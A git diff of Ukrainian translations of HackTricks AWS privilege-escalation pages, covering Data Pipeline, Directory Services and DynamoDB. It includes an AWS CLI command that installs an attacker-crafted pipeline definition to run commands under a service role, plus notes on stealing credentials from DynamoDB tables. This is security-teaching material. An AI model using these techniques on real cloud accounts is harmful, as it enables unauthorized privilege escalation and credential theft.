> Крім того, EC2 інстанс матиме доступ лише до ролі, яку може прийняти EC2 інстанс (тому ви можете вкрасти лише цю).
|
||||
```bash
|
||||
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
|
||||
--pipeline-definition file:///pipeline/definition.json
|
||||
```
|
||||
Файл **визначення конвеєра, створений зловмисником, містить директиви для виконання команд** або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв.
|
||||
|
||||
**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби ec2, що вказана.
|
||||
**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби ec2.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
# AWS - Directory Services Privesc
|
||||
# AWS - Привілейоване підвищення в Directory Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Постексплуатація
|
||||
### Post Exploitation
|
||||
|
||||
Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи на AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Постексплуатації DynamoDB**:
|
||||
Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може викликати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Post Exploitation DynamoDB**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user